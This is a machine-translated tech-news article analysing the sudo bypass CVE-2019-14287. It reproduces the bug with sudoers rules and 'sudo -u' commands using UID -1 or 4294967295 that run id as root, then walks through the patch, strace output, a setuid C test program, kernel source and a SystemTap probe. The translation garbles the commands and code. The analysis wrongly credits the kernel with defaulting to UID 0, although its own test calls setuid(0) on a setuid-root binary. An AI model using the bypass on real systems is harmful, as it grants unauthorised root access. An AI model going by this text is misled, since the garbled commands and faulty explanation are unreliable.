In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
Today, I will talk to you about the case analysis of Linux sudo vulnerability CVE-2019-14287, which may not be well understood by many people. in order to make you understand better, the editor has summarized the following content for you. I hope you can get something according to this article.
Sudo has exposed a vulnerability in which unauthorized privileged users can bypass restrictions to gain privileges.
I. recurrence of loopholes
Experimental environment:
Operating system CentOS Linux release 7.5.1804 kernel 3.10.0-862.14.4.el7.x86_64sudo version 1.8.19p2
First, add a system account test_sudo as the experiment:
[root@localhost ~] # useradd test_sudo
Then add the following to / etc/sudoers with the root identity:
Test_sudo ALL= (all recording root) / usr/bin/id
Indicates that the test_sudo account is allowed to execute / usr/bin/id as a non-root account, and an attempt to run the id command under the root account will be rejected:
[test_sudo@localhost ~] $sudo id Sorry, user test_sudo does not have permission to execute / bin/id on localhost.localdomain as root.
Sudo-u can also replace the user by specifying UID, when the specified UID is-1 or 4294967295 (the complement of-1 is actually handled internally as an unsigned integer), so a vulnerability can be triggered to bypass the above restrictions and execute commands as root:
[test_sudo@localhost] $sudo-root 1 iduid=0 (root) gid=1004 (test_sudo) group = 1004 (test_sudo) environment = unconfined_u:unconfined_r:unconfined_t:s0-s0: c0.c1023 [test _ sudo@localhost ~] $sudo-uplink 4294967295 iduid=0 (root) gid=1004 (test_sudo) group = 1004 (test_sudo) environment = unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 II. Vulnerability principle analysis
Find the submitted fix code in the official code repository: https://www.sudo.ws/repos/sudo/rev/83db8dba09e7.
Judging from the submitted code, only the lib/util/strtoid.c has been modified. The sudo_strtoid_v1 function defined in strtoid.c is responsible for parsing the UID string specified in the parameters. Patch key code:
/ * Disallow id-1, which means "no change". * / if (! valid_separator (p, ep, sep) | | llval = =-1 | | llval = = (id_t) UINT_MAX) {if (errstr! = NULL) * errstr = N" invalid value "; errno = EINVAL; goto done;}
The llval variable is the parsed value, and llval is not allowed to be-1 and UINT_MAX (4294967295).
That is, the patch only limits the value. From the perspective of vulnerability behavior, if it is-1, the final UID is 0, why can't it be-1? What happens when UID is-1? Continue to analyze it in depth.
Let's first trace the system calls with strace to see:
[root@localhost] # strace-u test_sudo sudo-upright Murray 1 id
Because the strace-u parameter requires the root identity to be used, the above command needs to be switched to the root account first, and then the sudo-uplink 1 id command is executed as test_sudo. From the output system call, notice that:
Setresuid (- 1,-1,-1) = 0
Setresuid is called internally by sudo to elevate permissions (although other functions such as setting groups are called, but without analysis), and the argument passed in is-1.
So let's do a simple experiment to call setresuid (- 1,-1,-1) to see why it is root identity after execution, as follows:
# include # include # include int main () {setresuid (- 1,-1,-1); setuid (0); printf ("EUID:% d, UID:% d\ n", geteuid (), getuid ()); return 0;}
Note that you need to change the user of the compiled binary file to root, and add the s bit. When the s bit is set, other accounts will run as the account to which the file belongs.
For convenience, I compile directly under the root account and add the s bit:
[root@localhost tmp] # gcc test.c [root@localhost tmp] # chmod + s a.out
Then execute a.out with the test_sudo account:
[test_sudo@localhost tmp] $. / a.outEUID: 0, UID: 0
As you can see, after running, the current identity becomes root.
In fact, the setresuid function is just a simple encapsulation of the system call setresuid32, and its implementation can be seen in the source code of GLibc:
/ File: sysdeps/unix/sysv/linux/i386/setresuid.cint__setresuid (uid_t ruid, uid_t euid, uid_t suid) {int result; result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid); return result;}
The last thing setresuid32 calls is the kernel function sys_setresuid, which is implemented as follows:
/ / File: kernel/sys.cSYSCALL_DEFINE3 (setresuid, uid_t, ruid, uid_t, euid, uid_t, suid) {. Struct cred * new;... Kruid = make_kuid (ns, ruid); keuid = make_kuid (ns, euid); ksuid = make_kuid (ns, suid); new = prepare_creds (); old = current_cred (); If (ruid! = (uid_t)-1) {new- > uid = kruid; if (! uid_eq (kruid, old- > uid)) {retval = set_user (new); if (retval
< 0) goto error; } } if (euid != (uid_t) -1) new->Euid = keuid; if (suid! = (uid_t)-1) new- > suid = ksuid; new- > fsuid = new- > euid;. Return commit_creds (new); error: abort_creds (new); return retval;}
To put it simply, when the kernel is processing, it will call the prepare_creds function to create a new credential structure, and the three parameters ruid, euid and suid passed to the function will assign ruid, euid and suid to the new credential only if it is not-1 (see the above three if logic), otherwise the default UID is 0. Finally, commit_creds is called to make the credential valid. This is why you have root permission when you pass-1.
We can also write a SystemTap script to observe the state of calling setresuid from the application layer and passing-1 to the kernel:
# system call probe syscall.setresuid {printf ("exec% s, args:% s\ n", execname (), argstr)} # capture the parameter probe kernel.function ("sys_setresuid") received by the kernel function sys_setresuid. Call {printf ("(sys_setresuid) arg1:% d, arg2:% d, arg3:% d\ n", int_arg (1), int_arg (2), int_arg (3)) } # capture the return value of the kernel function prepare_creds probe kernel.function ("prepare_creds"). Return {# for more information on the data structure, please see printf ("(prepare_cred), uid:% d; euid:% d\ n", $return- > uid- > val, $return- > euid- > val)} in linux/cred.h.
Then execute:
[root@localhost tmp] # stap test.stp
Then run the a.out we compiled earlier and take a look at what stap captured:
Exec a.out, args:-1,-1 # here are the three parameters passed to setresuid (sys_setresuid) arg1:-1, arg2:-1, arg3:-1 # here shows the three parameters (prepare_cred) of the final call to sys_setresuid, uid: 1000 Euid: 0 # sys_setresuid called prepare_cred. You can see that the default EUID is 0. After reading the above, do you have any further understanding of the instance analysis of Linux sudo vulnerability CVE-2019-14287? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.